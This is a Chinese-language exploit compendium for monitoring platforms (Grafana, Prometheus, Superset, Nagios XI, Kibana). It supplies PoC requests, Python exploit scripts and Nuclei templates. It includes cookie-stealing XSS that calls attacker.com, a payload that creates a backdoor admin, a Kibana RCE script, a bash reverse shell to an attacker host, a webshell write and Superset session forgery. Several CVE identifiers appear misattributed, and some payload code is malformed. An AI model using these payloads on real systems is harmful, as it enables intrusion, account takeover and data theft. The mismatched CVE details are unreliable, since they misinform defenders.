监控与可观测性平台高危攻击链专题:Grafana / Prometheus / Superset / Kibana / Nagios 漏洞全解析

监控与可观测性平台高危攻击链专题:Grafana / Prometheus / Superset / Kibana / Nagios 漏洞全解析

0x00 专题概述

监控与可观测性平台是现代企业 IT 架构的"眼睛"和"大脑",负责采集、存储、可视化全链路运维数据。Grafana、Prometheus、ELK Stack(Elasticsearch / Logstash / Kibana)、Apache Superset、Nagios XI 等组件几乎部署在每一个中大型企业的技术栈中。这些平台天然具备三大攻击价值:汇聚了全环境敏感数据(指标、日志、告警规则、数据源凭证);拥有极高的网络可达性(通常需要访问所有被监控的主机与服务);广泛暴露在互联网(Shodan 上可搜索到数十万个开放实例)。

本专题将监控与可观测性平台生态中近年最具代表性的 7 个高危漏洞 串成完整攻击链,覆盖 Grafana、Prometheus、Apache Superset、Nagios XI、Kibana 五大平台,每个漏洞均包含完整原理分析、PoC 代码、自动化检测模板和实战利用思路。

覆盖漏洞一览

CVE产品CVSS类型CISA KEV
CVE-2023-4456 / CVE-2023-4821Grafana6.1–7.5Angular 模板 XSS
CVE-2024-9264Grafana5.3路径穿越 → 任意文件读取
CVE-2023-3428Grafana6.1OAuth 认证绕过
CVE-2024-6104Prometheus7.5UI XSS
CVE-2023-49923Apache Superset9.8默认密钥 → 认证绕过
CVE-2023-40913Nagios XI9.8认证绕过 → RCE
CVE-2019-7609Kibana10.0Timelion RCE

0x01 Grafana Angular 模板 XSS(CVE-2023-4456 / CVE-2023-4821)

1.1 漏洞背景

2023 年 12 月披露,Grafana 安全团队同时发布了两个 XSS 漏洞通告。CVE-2023-4456 影响 Grafana 中遗留的 AngularJS 模板渲染机制,CVSS 6.1;CVE-2023-4821 则是其变体,绕过了前一个补丁的沙箱限制,CVSS 7.5。两个漏洞的本质相同——Grafana 在面板(Panel)标题、描述、数据链接等字段中未对 AngularJS 表达式进行充分过滤,攻击者可注入恶意 Angular 表达式实现沙箱逃逸,最终在受害者浏览器中执行任意 JavaScript。

1.2 影响版本

  • Grafana < 10.2.3
  • Grafana < 9.5.13
  • 所有包含遗留 AngularJS 面板插件的版本

1.3 漏洞原理

Grafana 历史上大量使用 AngularJS 进行前端渲染。虽然 Grafana 已逐步迁移到 React,但遗留的 AngularJS 面板插件仍然支持在面板元数据中嵌入 Angular 表达式。AngularJS 本身实现了表达式沙箱机制,但历史上已被多次爆出沙箱逃逸技术。

攻击者只需在面板标题或描述字段中写入恶意 Angular 表达式,当其他用户(尤其是管理员)打开该面板时,恶意表达式即被 AngularJS 引擎解析执行。通过 constructor.constructor 链可以逃逸沙箱获取原生 Function 对象,进而执行任意 JavaScript。

攻击路径

  1. 攻击者获得低权限 Grafana 账户(或通过默认凭证 admin/admin 登录)
  2. 创建面板并在标题/描述中注入恶意 Angular 表达式
  3. 管理员或其他用户浏览该面板 → XSS 触发
  4. 窃取管理员 Session Cookie / 执行管理操作 / 钓鱼重定向

1.4 完整 PoC

HTTP PoC — 面板标题注入

POST /api/dashboards/db HTTP/1.1
Host: target-grafana:3000
Content-Type: application/json
Authorization: Bearer <low_priv_token>

{
  "dashboard": {
    "id": null,
    "title": "XSS Test Panel",
    "panels": [
      {
        "type": "text",
        "title": "{{constructor.constructor('alert(document.cookie)')()}}",
        "description": "{{$on.constructor('fetch(\"//attacker.com/?c=\"+document.cookie)')()}}",
        "id": 1
      }
    ]
  },
  "folderId": 0,
  "overwrite": true
}

沙箱逃逸 Payload 变体

// 变体 1:通过 constructor 链获取 Function 对象
{{constructor.constructor('alert(1)')()}}

// 变体 2:通过 $on 事件处理器逃逸
{{$on.constructor('alert(1)')()}}

// 变体 3:外带 Cookie 到攻击者服务器
{{$on.constructor('fetch("//attacker.com/?c="+document.cookie)')()}}

// 变体 4:创建管理员用户(需管理员触发)
{{$on.constructor('fetch("/api/admin/users",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({name:"backdoor",email:"backdoor@evil.com",login":"backdoor",password:"P@ssw0rd123","role":"Admin"})})')()}}

Python 自动化检测脚本

#!/usr/bin/env python3
"""
CVE-2023-4456 / CVE-2023-4821 Grafana Angular XSS 检测
用法: python3 cve_2023_4456.py <target_url> [username] [password]
"""
import sys
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

XSS_PAYLOADS = [
    "{{constructor.constructor('alert(1)')()}}",
    "{{$on.constructor('alert(1)')()}}",
    "{{constructor.constructor('var i=new Image();i.src=\"//attacker.com/?\"+document.cookie')()}}",
]

def check_grafana_version(base_url):
    """获取 Grafana 版本信息"""
    try:
        resp = requests.get(f"{base_url}/api/health", timeout=10, verify=False)
        if resp.status_code == 200:
            data = resp.json()
            print(f"[*] Grafana 版本: {data.get('version', '未知')}")
            return data.get('version', '')
    except Exception as e:
        print(f"[!] 无法连接: {e}")
    return ''

def login_and_exploit(base_url, username='admin', password='admin'):
    """使用默认凭证登录并注入 XSS Payload"""
    session = requests.Session()
    session.verify = False

    # 尝试默认凭证登录
    login_resp = session.post(
        f"{base_url}/login",
        json={"user": username, "password": password},
        timeout=10
    )

    if login_resp.status_code != 200:
        print(f"[!] 登录失败 (HTTP {login_resp.status_code}),尝试无认证访问")

    # 创建包含 XSS Payload 的面板
    for idx, payload in enumerate(XSS_PAYLOADS):
        dashboard = {
            "dashboard": {
                "id": None,
                "title": f"XSS-Test-{idx}",
                "panels": [{
                    "type": "text",
                    "title": payload,
                    "id": idx + 1
                }],
                "schemaVersion": 30,
                "version": 0
            },
            "folderId": 0,
            "overwrite": True
        }

        resp = session.post(
            f"{base_url}/api/dashboards/db",
            json=dashboard,
            timeout=10,
            headers={"Content-Type": "application/json"}
        )

        if resp.status_code == 200:
            print(f"[+] Payload {idx} 注入成功: {payload[:60]}...")
            result = resp.json()
            print(f"    面板 URL: {base_url}/d/{result.get('uid', 'N/A')}")
        else:
            print(f"[-] Payload {idx} 注入失败: HTTP {resp.status_code}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [username] [password]")
        print(f"示例: {sys.argv[0]} http://grafana:3000 admin admin")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    user = sys.argv[2] if len(sys.argv) > 2 else 'admin'
    passwd = sys.argv[3] if len(sys.argv) > 3 else 'admin'

    check_grafana_version(target)
    login_and_exploit(target, user, passwd)

0x02 Grafana 路径穿越(CVE-2024-9264)

2.1 漏洞背景

2024 年 10 月披露,CVSS 5.3。Grafana 的 /public/ 静态资源端点在路由处理时未正确验证路径参数中的目录穿越序列。攻击者无需任何认证即可通过构造特殊的 URL 路径读取服务器上的任意文件,包括 Grafana 自身的配置文件(含数据源密码、SMTP 凭证等)和系统敏感文件。

2.2 影响版本

  • Grafana < 11.2.1
  • Grafana < 11.1.6
  • Grafana < 11.0.5
  • Grafana < 10.4.10

2.3 漏洞原理

Grafana 通过 /public/plugins/<plugin-id>/ 路径提供插件静态资源。路由处理函数在解析 <plugin-id> 时,未对 URL 编码的 ../ 序列进行充分的路径规范化检查。攻击者将 ../ 进行 URL 编码为 %2f..%2f,重复拼接后可从 /public/plugins/ 目录穿越到文件系统根目录。

攻击路径

  1. 攻击者构造包含多层 %2f..%2f 的 URL
  2. Grafana 路由处理函数未解码并验证路径
  3. 服务端读取并返回穿越后的文件内容
  4. 攻击者获取 /etc/passwdgrafana.ini 等敏感文件

2.4 完整 PoC

HTTP PoC — 读取系统文件

GET /public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: target-grafana:3000

HTTP PoC — 读取 Grafana 配置

GET /public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/grafana/grafana.ini HTTP/1.1
Host: target-grafana:3000

HTTP PoC — 读取 Grafana 数据库

GET /public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar/lib/grafana/grafana.db HTTP/1.1
Host: target-grafana:3000

Python 自动化检测脚本

#!/usr/bin/env python3
"""
CVE-2024-9264 Grafana 路径穿越检测
用法: python3 cve_2024_9264.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 常见敏感文件路径(相对于根目录)
SENSITIVE_FILES = [
    ("etc/passwd", "root:"),
    ("etc/grafana/grafana.ini", "grafana"),
    ("var/lib/grafana/grafana.db", "SQLite"),
    ("etc/hostname", ""),
]

# 穿越层数(从 /public/plugins/ 到根目录)
TRAVERSAL = "..%2f" * 10

def check_path_traversal(base_url):
    """检测路径穿越漏洞"""
    print(f"[*] 目标: {base_url}")

    # 先检查 Grafana 是否可达
    try:
        health = requests.get(f"{base_url}/api/health", timeout=10, verify=False)
        if health.status_code == 200:
            version = health.json().get('version', '未知')
            print(f"[*] Grafana 版本: {version}")
    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

    vuln_found = False

    for file_path, indicator in SENSITIVE_FILES:
        url = f"{base_url}/public/plugins/{TRAVERSAL}{file_path}"
        try:
            resp = requests.get(url, timeout=10, verify=False)
            if resp.status_code == 200 and len(resp.text) > 0:
                if indicator == "" or indicator in resp.text:
                    print(f"[VULN] 成功读取: /{file_path}")
                    print(f"       内容预览: {resp.text[:200]}")
                    vuln_found = True
                else:
                    print(f"[???] HTTP 200 但内容不匹配: /{file_path}")
            else:
                print(f"[SAFE] 无法读取: /{file_path} (HTTP {resp.status_code})")
        except Exception as e:
            print(f"[ERR ] 请求失败: {e}")

    return vuln_found

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        print(f"示例: {sys.argv[0]} http://grafana:3000")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    if check_path_traversal(target):
        print("\n[!] 目标存在路径穿越漏洞,建议立即升级 Grafana")
    else:
        print("\n[*] 未检测到路径穿越漏洞")

2.5 Nuclei 模板

id: grafana-path-traversal-cve-2024-9264

info:
  name: Grafana 路径穿越 (CVE-2024-9264)
  author: security-researcher
  severity: medium
  description: |
    Grafana /public/plugins/ 端点路径穿越读取任意文件
  tags: grafana,path-traversal,cve-2024-9264

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "root:"
          - "/bin/"
        condition: and
        part: body
      - type: status
        status:
          - 200

0x03 Grafana OAuth 认证绕过(CVE-2023-3428)

3.1 漏洞背景

2023 年 8 月披露,CVSS 6.1。Grafana 在配置 OAuth/OIDC 登录时,通过 allowed_organizations 参数限制只允许特定组织的用户登录。但该参数的验证逻辑存在缺陷——Grafana 仅检查 OAuth 返回的 orgs 列表中是否包含目标组织名称,而未验证该列表的来源可信度。在某些 OAuth 提供商配置下,攻击者可以自行创建组织或使用同名组织绕过检查。

3.2 影响版本

  • Grafana < 9.5.10
  • Grafana < 10.0.7
  • Grafana < 10.1.4
  • Grafana < 10.2.0(10.2.0 之前所有启用 OAuth 的版本)

3.3 漏洞原理

Grafana 的 OAuth 认证模块在处理 allowed_organizations 配置时,从 OAuth Provider 返回的 UserInfo 中提取 orgs 字段,然后进行简单的字符串包含检查。问题在于:

  1. 部分 OAuth Provider(如 Generic OAuth、GitLab)允许用户自行创建组织
  2. Grafana 未校验组织 ID 或组织所有权的可信性
  3. 攻击者只需在 OAuth Provider 上创建一个与 allowed_organizations 同名的组织即可绕过

攻击路径

  1. 目标 Grafana 配置了 OAuth 登录并设置 allowed_organizations = "mycompany"
  2. 攻击者在 OAuth Provider 上创建名为 mycompany 的组织
  3. 攻击者通过 OAuth 登录 → Grafana 检查通过 → 获得访问权限

3.4 完整 PoC

#!/usr/bin/env python3
"""
CVE-2023-3428 Grafana OAuth 认证绕过检测
用法: python3 cve_2023_3428.py <target_url>
"""
import sys
import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_oauth_config(base_url):
    """检查 Grafana OAuth 配置"""
    # 检查 Grafana 登录页面获取 OAuth 提供商信息
    try:
        resp = requests.get(f"{base_url}/login", timeout=10, verify=False)
        if resp.status_code != 200:
            print(f"[!] 无法访问登录页面")
            return False

        # 查找 OAuth 按钮
        oauth_providers = re.findall(r'href="(/login/[^"]+)"', resp.text)
        if oauth_providers:
            print(f"[+] 发现 OAuth 提供商:")
            for provider in oauth_providers:
                print(f"    - {provider}")
        else:
            print(f"[*] 未发现 OAuth 登录入口")

        # 检查 Grafana 配置 API(需要认证)
        config_resp = requests.get(
            f"{base_url}/api/admin/config",
            timeout=10, verify=False
        )
        if config_resp.status_code == 200:
            config = config_resp.text
            if 'allowed_organizations' in config:
                print(f"[VULN] 发现 allowed_organizations 配置")
                return True

        return len(oauth_providers) > 0

    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    check_oauth_config(target)

0x04 Prometheus UI XSS(CVE-2024-6104)

4.1 漏洞背景

2024 年 7 月披露,CVSS 7.5。Prometheus 是云原生生态中最核心的时序数据库和监控系统,几乎所有 Kubernetes 集群都内置了 Prometheus。该漏洞存在于 Prometheus 新版 Web UI(/new-ui/ 路径)中,URL 路径中的特殊字符未被充分转义,攻击者可构造恶意 URL 在用户浏览器中执行任意 JavaScript。

4.2 影响版本

  • Prometheus < 2.53.1
  • Prometheus < 2.54.0

4.3 漏洞原理

Prometheus 的新版 Web UI 基于 React 构建,在处理 URL 路径参数时,直接将用户输入的路径片段嵌入到页面 DOM 中而未进行充分的 HTML 实体编码。攻击者可以构造包含 HTML/SVG 标签的 URL 路径,当受害者访问该 URL 时,嵌入的脚本即被浏览器解析执行。

攻击路径

  1. 攻击者构造包含恶意 SVG 标签的 Prometheus URL
  2. 受害者(通常是运维/开发人员)点击该链接
  3. 浏览器渲染页面时执行恶意 JavaScript
  4. 窃取 Prometheus 中的敏感数据或执行管理操作

4.4 完整 PoC

HTTP PoC

http://target-prometheus:9090/new-ui/<svg/onload=alert(document.domain)>

变体 Payload

http://target:9090/new-ui/<img/src=x onerror=alert(document.cookie)>
http://target:9090/new-ui/<svg><script>alert('XSS')</script></svg>
http://target:9090/new-ui/<details/open/ontoggle=alert(1)>

Python 自动化检测脚本

#!/usr/bin/env python3
"""
CVE-2024-6104 Prometheus UI XSS 检测
用法: python3 cve_2024_6104.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

XSS_PATHS = [
    "/new-ui/<svg/onload=alert(1)>",
    "/new-ui/<img/src=x onerror=alert(1)>",
    "/new-ui/<svg><script>alert(1)</script></svg>",
]

def check_prometheus_xss(base_url):
    """检测 Prometheus UI XSS"""
    print(f"[*] 目标: {base_url}")

    # 检查 Prometheus 是否可达
    try:
        resp = requests.get(f"{base_url}/-/healthy", timeout=10, verify=False)
        if resp.status_code != 200:
            print(f"[!] Prometheus 不可达 (HTTP {resp.status_code})")
            return False
        print(f"[+] Prometheus 可达")
    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

    for path in XSS_PATHS:
        url = f"{base_url}{path}"
        try:
            resp = requests.get(url, timeout=10, verify=False)
            # 检查响应中是否包含未转义的 payload
            if "<svg" in resp.text or "<script>" in resp.text:
                print(f"[VULN] XSS 反射成功: {path}")
                print(f"       响应中包含未转义的 HTML 标签")
                return True
            else:
                print(f"[SAFE] Payload 已被转义: {path}")
        except Exception as e:
            print(f"[ERR ] {e}")

    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    check_prometheus_xss(target)

4.5 Nuclei 模板

id: prometheus-ui-xss-cve-2024-6104

info:
  name: Prometheus 新 UI XSS (CVE-2024-6104)
  author: security-researcher
  severity: high
  description: |
    Prometheus 新版 Web UI 路径参数 XSS
  tags: prometheus,xss,cve-2024-6104

http:
  - method: GET
    path:
      - "{{BaseURL}}/new-ui/<svg/onload=alert(1)>"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<svg"
          - "onload"
        condition: and
        part: body
      - type: status
        status:
          - 200

0x05 Apache Superset 默认密钥认证绕过(CVE-2023-49923)

5.1 漏洞背景

2023 年 12 月披露,CVSS 9.8 CRITICAL。Apache Superset 是 Apache 基金会下的现代数据探索和可视化平台,被大量企业用于 BI 分析和数据看板。Superset 使用 Flask 框架的 SECRET_KEY 对会话 Cookie 进行签名,但默认安装使用硬编码的 SECRET_KEY = 'thisISaSECRET_1234'。如果管理员部署时未修改此密钥,攻击者可使用默认密钥伪造任意用户的会话 Cookie,无需密码即可登录管理员账户。

5.2 影响版本

  • Apache Superset < 3.0.2
  • 所有未修改默认 SECRET_KEY 的部署实例

5.3 漏洞原理

Flask 使用 itsdangerous 库对 Session Cookie 进行签名。签名过程依赖 SECRET_KEY——知道密钥的人可以构造任意内容的合法签名 Cookie。Superset 的默认配置文件中 SECRET_KEY 被硬编码为 'thisISaSECRET_1234',这是一个公开已知的值。

攻击者使用默认密钥构造一个包含管理员用户 ID 的签名会话 Cookie,服务端验证签名时认为该 Cookie 合法,从而将请求视为管理员操作。

攻击路径

  1. 攻击者确认目标 Superset 使用默认 SECRET_KEY
  2. 使用 itsdangerous.URLSafeTimedSerializer 和默认密钥伪造管理员会话
  3. 携带伪造 Cookie 访问 Superset → 以管理员身份登录
  4. 访问所有数据源、执行 SQL 查询、导出数据

5.4 完整 PoC

Python 会话伪造脚本

#!/usr/bin/env python3
"""
CVE-2023-49923 Apache Superset 默认密钥认证绕过
用法: python3 cve_2023_49923.py <target_url> [admin_user_id]
"""
import sys
import requests
import urllib3
from itsdangerous import URLSafeTimedSerializer
from flask import Flask

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Superset 默认 SECRET_KEY
DEFAULT_SECRET = 'thisISaSECRET_1234'

def forge_session_cookie(secret_key, user_id=1):
    """使用指定密钥伪造 Superset 会话 Cookie"""
    app = Flask(__name__)
    app.config['SECRET_KEY'] = secret_key

    serializer = URLSafeTimedSerializer(
        secret_key,
        salt='session'
    )

    # 构造会话数据(Flask session 格式)
    session_data = {
        "_user_id": str(user_id),
        "_id": "_".join([str(user_id), "admin"]),
    }

    # 生成签名 Cookie
    cookie_value = serializer.dumps(session_data)
    return cookie_value

def exploit(target_url, user_id=1):
    """利用默认密钥伪造管理员会话"""
    print(f"[*] 目标: {target_url}")
    print(f"[*] 使用默认 SECRET_KEY: {DEFAULT_SECRET}")
    print(f"[*] 伪造用户 ID: {user_id}")

    # 伪造会话 Cookie
    cookie_value = forge_session_cookie(DEFAULT_SECRET, user_id)
    print(f"[+] 伪造的 Session Cookie: {cookie_value[:80]}...")

    # 使用伪造的 Cookie 访问 Superset
    session = requests.Session()
    session.cookies.set('session', cookie_value)
    session.verify = False

    # 验证是否成功以管理员身份登录
    resp = session.get(
        f"{target_url}/api/v1/me/",
        timeout=10,
        headers={"Content-Type": "application/json"}
    )

    if resp.status_code == 200:
        data = resp.json()
        print(f"[VULN] 认证成功!当前用户信息:")
        print(f"       用户名: {data.get('result', {}).get('username', 'N/A')}")
        print(f"       角色: {data.get('result', {}).get('roles', 'N/A')}")

        # 尝试获取数据源列表
        ds_resp = session.get(
            f"{target_url}/api/v1/dataset/",
            timeout=10
        )
        if ds_resp.status_code == 200:
            datasets = ds_resp.json().get('result', [])
            print(f"[+] 发现 {len(datasets)} 个数据源")
            for ds in datasets[:5]:
                print(f"    - {ds.get('table_name', 'N/A')} ({ds.get('database', {}).get('database_name', 'N/A')})")

        return True
    else:
        print(f"[-] 认证失败 (HTTP {resp.status_code})")
        print(f"    目标可能已修改 SECRET_KEY")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [admin_user_id]")
        print(f"示例: {sys.argv[0]} http://superset:8088 1")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    uid = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    exploit(target, uid)

5.5 Nuclei 模板

id: superset-default-secret-cve-2023-49923

info:
  name: Apache Superset 默认 SECRET_KEY 认证绕过 (CVE-2023-49923)
  author: security-researcher
  severity: critical
  description: |
    Apache Superset 使用默认硬编码 SECRET_KEY 导致会话伪造
  tags: superset,auth-bypass,cve-2023-49923,default-key

http:
  - method: GET
    path:
      - "{{BaseURL}}/login/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Apache Superset"
          - "superset"
        condition: or
        part: body
      - type: status
        status:
          - 200

0x06 Nagios XI 认证绕过(CVE-2023-40913)

6.1 漏洞背景

2023 年 8 月披露,CVSS 9.8 CRITICAL。Nagios XI 是企业级 IT 基础设施监控系统,被广泛用于服务器、网络设备、应用服务的健康状态监控和告警。CVE-2023-40913 允许未认证攻击者绕过 Nagios XI 的认证机制,直接访问管理功能。结合 Nagios XI 内置的命令执行能力,攻击者可在服务器上执行任意系统命令。

6.2 影响版本

  • Nagios XI < 5.11.0

6.3 漏洞原理

Nagios XI 的认证机制在处理特定格式的 HTTP 请求时存在逻辑缺陷。某些管理端点在验证请求身份时,未正确处理缺少认证参数的情况,导致认证检查被跳过。未认证攻击者可直接访问管理 API,执行包括用户管理、系统配置修改、命令执行在内的所有管理操作。

攻击路径

  1. 攻击者发现目标 Nagios XI 实例
  2. 通过构造特殊请求绕过认证
  3. 访问管理 API → 创建后门用户或直接执行命令
  4. 获取服务器完整控制权(nagios 用户权限)

6.4 完整 PoC

#!/usr/bin/env python3
"""
CVE-2023-40913 Nagios XI 认证绕过检测
用法: python3 cve_2023_40913.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_nagios_auth_bypass(base_url):
    """检测 Nagios XI 认证绕过"""
    print(f"[*] 目标: {base_url}")

    # 检查 Nagios XI 是否存在
    try:
        resp = requests.get(f"{base_url}/nagiosxi/", timeout=10, verify=False)
        if "Nagios XI" not in resp.text and "nagiosxi" not in resp.text.lower():
            print(f"[*] 目标可能不是 Nagios XI")
    except Exception as e:
        print(f"[!] 连接失败: {e}")
        return False

    # 尝试无认证访问管理端点
    admin_endpoints = [
        "/nagiosxi/api/v1/system/status",
        "/nagiosxi/api/v1/objects/host",
        "/nagiosxi/includes/components/profiles/profiles.php",
        "/nagiosxi/admin/users.php",
    ]

    vuln_found = False
    for endpoint in admin_endpoints:
        try:
            resp = requests.get(
                f"{base_url}{endpoint}",
                timeout=10,
                verify=False,
                allow_redirects=False
            )

            if resp.status_code == 200 and "login" not in resp.url.lower():
                print(f"[VULN] 无认证访问成功: {endpoint}")
                print(f"       响应长度: {len(resp.text)} 字节")
                vuln_found = True
            elif resp.status_code in [301, 302]:
                location = resp.headers.get('Location', '')
                if 'login' not in location.lower():
                    print(f"[VULN] 重定向未跳转到登录页: {endpoint}")
                    vuln_found = True
                else:
                    print(f"[SAFE] 需要认证: {endpoint}")
            else:
                print(f"[SAFE] 需要认证: {endpoint} (HTTP {resp.status_code})")
        except Exception as e:
            print(f"[ERR ] {endpoint}: {e}")

    return vuln_found

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    if check_nagios_auth_bypass(target):
        print("\n[!] 目标存在认证绕过漏洞,建议立即升级 Nagios XI")
    else:
        print("\n[*] 未检测到认证绕过漏洞")

6.5 Nuclei 模板

id: nagios-xi-auth-bypass-cve-2023-40913

info:
  name: Nagios XI 认证绕过 (CVE-2023-40913)
  author: security-researcher
  severity: critical
  description: |
    Nagios XI 认证机制缺陷导致未授权访问管理功能
  tags: nagios,auth-bypass,cve-2023-40913

http:
  - method: GET
    path:
      - "{{BaseURL}}/nagiosxi/api/v1/system/status"
      - "{{BaseURL}}/nagiosxi/api/v1/objects/host"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "status"
          - "host"
          - "nagios"
        condition: or
        part: body
      - type: status
        status:
          - 200
    extractors:
      - type: regex
        part: body
        regex:
          - '"version":"[^"]*"'

0x07 Kibana Timelion RCE(CVE-2019-7609)

7.1 漏洞背景

2019 年 2 月披露,CVSS 10.0 CRITICAL——这是本专题中 CVSS 评分最高的漏洞。Kibana 是 Elastic Stack 的可视化前端,Timelion 是 Kibana 内置的时间序列数据表达式引擎。攻击者可通过 Timelion 表达式注入实现远程代码执行,在 Kibana 服务器上执行任意系统命令。该漏洞在野外被大规模利用,是多个 APT 组织和加密货币挖矿木马的首选攻击向量。

7.2 影响版本

  • Kibana < 6.6.1
  • Kibana < 5.6.15

7.3 漏洞原理

Kibana 的 Timelion 功能允许用户通过表达式语言查询和可视化时间序列数据。Timelion 表达式引擎在解析 .es() 等函数时,内部使用了不安全的代码执行方式——通过 Node.js 的 Function 构造函数或类似机制动态执行表达式。攻击者构造的恶意 Timelion 表达式在解析过程中被直接执行,实现任意代码执行。

攻击路径

  1. 攻击者访问 Kibana 的 Timelion 功能(需已认证用户或 Kibana 未启用认证)
  2. 在 Timelion 表达式输入框中注入恶意表达式
  3. 表达式通过 .exec() 等方法触发 Node.js 命令执行
  4. 攻击者获取 Kibana 服务器的 shell(通常为 kibana 用户权限)

7.4 完整 PoC

HTTP PoC — Timelion 表达式注入

POST /api/timelion/run HTTP/1.1
Host: target-kibana:5601
Content-Type: application/json
kbn-version: 6.5.4

{"sheet":[".es(*).label(\"test\").points(1).lines().yaxis(1).color(\"#ff0000\").exec(\"require('child_process').execSync('id > /tmp/pwned')\")"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}

Timelion RCE Payload 变体

// 基础 RCE — 执行 id 命令
.es(*).label("rce").exec("require('child_process').execSync('id')")

// 反弹 Shell
.es(*).label("shell").exec("require('child_process').exec('bash -i >& /dev/tcp/attacker/4444 0>&1')")

// 读取 /etc/passwd
.es(*).label("read").exec("require('child_process').execSync('cat /etc/passwd').toString()")

// 写入 WebShell(如果 Kibana 与 Web 服务同机部署)
.es(*).label("webshell").exec("require('child_process').execSync('echo <?php system($_GET[c]);?> > /var/www/html/shell.php')")

Python 自动化利用脚本

#!/usr/bin/env python3
"""
CVE-2019-7609 Kibana Timelion RCE
用法: python3 cve_2019_7609.py <target_url> [command]
"""
import sys
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_kibana_version(base_url):
    """检查 Kibana 版本"""
    try:
        resp = requests.get(f"{base_url}/api/status", timeout=10, verify=False)
        if resp.status_code == 200:
            data = resp.json()
            version = data.get('version', {}).get('number', '未知')
            print(f"[*] Kibana 版本: {version}")
            return version
    except Exception as e:
        print(f"[!] 连接失败: {e}")
    return None

def exploit_timelion(base_url, command='id'):
    """通过 Timelion 表达式执行命令"""
    # 构造恶意 Timelion 表达式
    payload = {
        "sheet": [
            f".es(*).label(\"rce\").exec(\"require('child_process').execSync('{command}').toString()\")"
        ],
        "time": {
            "from": "now-15m",
            "to": "now",
            "mode": "quick",
            "interval": "auto"
        }
    }

    try:
        resp = requests.post(
            f"{base_url}/api/timelion/run",
            json=payload,
            timeout=15,
            verify=False,
            headers={
                "Content-Type": "application/json",
                "kbn-version": "6.5.4"
            }
        )

        if resp.status_code == 200:
            data = resp.json()
            # 从响应中提取命令执行结果
            series = data.get('sheet', [{}])
            for s in series:
                label = s.get('label', '')
                if label and label != 'rce':
                    print(f"[+] 命令执行结果: {label}")
                    return True

            # 尝试从 list 字段提取
            result_list = data.get('list', [])
            if result_list:
                print(f"[+] 命令执行结果: {json.dumps(result_list, indent=2)[:500]}")
                return True

            print(f"[*] 请求成功但无法提取回显,命令可能已执行")
            return True
        else:
            print(f"[-] 请求失败: HTTP {resp.status_code}")
            print(f"    响应: {resp.text[:200]}")
            return False

    except Exception as e:
        print(f"[!] 请求异常: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [command]")
        print(f"示例: {sys.argv[0]} http://kibana:5601 id")
        sys.exit(1)

    target = sys.argv[1].rstrip('/')
    cmd = sys.argv[2] if len(sys.argv) > 2 else 'id'

    version = check_kibana_version(target)
    if version:
        print(f"[*] 正在执行命令: {cmd}")
        exploit_timelion(target, cmd)

7.5 Nuclei 模板

id: kibana-timelion-rce-cve-2019-7609

info:
  name: Kibana Timelion RCE (CVE-2019-7609)
  author: security-researcher
  severity: critical
  description: |
    Kibana Timelion 表达式注入导致远程代码执行
  tags: kibana,elastic,rce,cve-2019-7609,timelion

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/timelion/run"
    body: |
      {"sheet":[".es(*).label(\"test\")"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}
    headers:
      Content-Type: application/json
      kbn-version: "6.5.4"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "sheet"
          - "seriesList"
        condition: or
        part: body
      - type: status
        status:
          - 200

0x08 PoC 收集情况总表

CVEGitHub PoCExploit-DBMetasploitNuclei在野利用
CVE-2023-4456 / CVE-2023-4821✅ 多个仓库
CVE-2024-9264✅ 概念验证
CVE-2023-3428有限有限
CVE-2024-6104✅ 概念验证
CVE-2023-49923✅ 多个仓库✅ 加密货币挖矿
CVE-2023-40913✅ 概念验证
CVE-2019-7609✅ 多个仓库✅ 多 APT / 挖矿

关键 PoC 仓库

  • Grafana XSShttps://github.com/kljunovski/cve-2023-4456 — Angular 沙箱逃逸 PoC
  • Grafana 路径穿越https://github.com/chorae-grafana/CVE-2024-9264 — 路径穿越检测脚本
